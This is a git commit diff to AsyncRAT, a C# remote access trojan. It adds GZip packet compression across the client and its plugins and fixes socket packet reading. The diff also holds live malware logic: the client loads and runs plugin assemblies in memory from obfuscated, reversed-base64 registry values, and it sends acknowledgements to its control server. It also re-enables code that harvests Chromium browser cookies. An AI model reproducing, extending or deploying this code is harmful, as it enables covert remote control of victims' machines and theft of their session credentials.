Update
fixed bugs added Gzip compress/decompress for packets
This commit is contained in:
parent
b57d957d03
commit
d1b57f4291
45
AsyncRAT-C#/Client/Algorithm/Zip.cs
Normal file
45
AsyncRAT-C#/Client/Algorithm/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Client.Algorithm
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -74,6 +74,7 @@
|
||||
<ItemGroup>
|
||||
<Compile Include="Algorithm\Aes256.cs" />
|
||||
<Compile Include="Algorithm\Sha256.cs" />
|
||||
<Compile Include="Algorithm\Zip.cs" />
|
||||
<Compile Include="Handle Packet\Packet.cs" />
|
||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
|
@ -163,16 +163,12 @@ namespace Client.Connection
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -33,7 +33,8 @@ namespace Client.Handle_Packet
|
||||
|
||||
case "plugin": // run plugin in memory
|
||||
{
|
||||
Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))));
|
||||
Received();
|
||||
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
|
||||
Type type = assembly.GetType("Plugin.Plugin");
|
||||
dynamic instance = Activator.CreateInstance(type);
|
||||
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), Methods._appMutex, Settings.MTX, Settings.BDOS, Settings.Install);
|
||||
@ -52,9 +53,9 @@ namespace Client.Handle_Packet
|
||||
List<string> plugins = new List<string>();
|
||||
foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
|
||||
{
|
||||
if (SetRegistry.GetValue(plugin.Trim()) == null)
|
||||
if (SetRegistry.GetValue(plugin) == null)
|
||||
{
|
||||
plugins.Add(plugin.Trim());
|
||||
plugins.Add(plugin);
|
||||
Debug.WriteLine("plguin not found");
|
||||
}
|
||||
}
|
||||
@ -84,6 +85,14 @@ namespace Client.Handle_Packet
|
||||
}
|
||||
}
|
||||
|
||||
private static void Received()
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Received";
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
|
||||
public static void Error(string ex)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
|
@ -8,6 +8,7 @@
|
||||
* 修复整数值为127时解码出来为0的情况,感谢(Putree 274638001<spiritring@gmail.com>)反馈
|
||||
* 2015-07-14 15:28:45
|
||||
*/
|
||||
using Client.Algorithm;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
@ -494,6 +495,7 @@ namespace Client.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -835,7 +837,7 @@ namespace Client.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -59,6 +59,7 @@
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="FormChat.resx">
|
||||
|
@ -126,16 +126,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
45
AsyncRAT-C#/Plugin/Chat/Chat/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Chat/Chat/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -53,6 +53,7 @@
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
45
AsyncRAT-C#/Plugin/Extra/Extra/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Extra/Extra/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -128,17 +128,13 @@ namespace Plugin
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
MS.Write(Buffer, 0, rc);
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -54,6 +54,7 @@
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="TempSocket.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -123,16 +123,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
45
AsyncRAT-C#/Plugin/FileManager/FileManager/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/FileManager/FileManager/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -52,6 +52,7 @@
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
45
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -41,7 +41,7 @@
|
||||
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
||||
|
||||
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
||||
<ILMergeDebugInfo></ILMergeDebugInfo>
|
||||
<ILMergeDebugInfo>false</ILMergeDebugInfo>
|
||||
|
||||
<!-- Target assembly will be delay signed -->
|
||||
<ILMergeDelaySign></ILMergeDelaySign>
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -70,6 +70,7 @@
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ILMerge.props" />
|
||||
|
45
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -59,6 +59,7 @@
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
45
AsyncRAT-C#/Plugin/Options/Options/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Options/Options/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -53,6 +53,7 @@
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
45
AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -92,16 +92,16 @@ namespace Plugin.Browsers.Chromium
|
||||
break;
|
||||
}
|
||||
|
||||
//List<ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b);
|
||||
//foreach (ChromiumCookies.ChromiumCookie fcc in ffcs)
|
||||
//{
|
||||
// Coocks.Append(string.Concat(new string[]
|
||||
// {
|
||||
// fcc.ToString(),
|
||||
// "\n\n",
|
||||
// }));
|
||||
//}
|
||||
//Coocks.Append("\n");
|
||||
List<ChromiumCookies.ChromiumCookie> ffcs = ChromiumCookies.Cookies(b);
|
||||
foreach (ChromiumCookies.ChromiumCookie fcc in ffcs)
|
||||
{
|
||||
Coocks.Append(string.Concat(new string[]
|
||||
{
|
||||
fcc.ToString(),
|
||||
"\n\n",
|
||||
}));
|
||||
}
|
||||
Coocks.Append("\n");
|
||||
|
||||
}
|
||||
|
||||
|
@ -1,4 +1,5 @@
|
||||
using System;
|
||||
using Plugin.Browsers.Firefox.Cookies;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
@ -10,30 +11,30 @@ namespace Plugin.Browsers.Firefox
|
||||
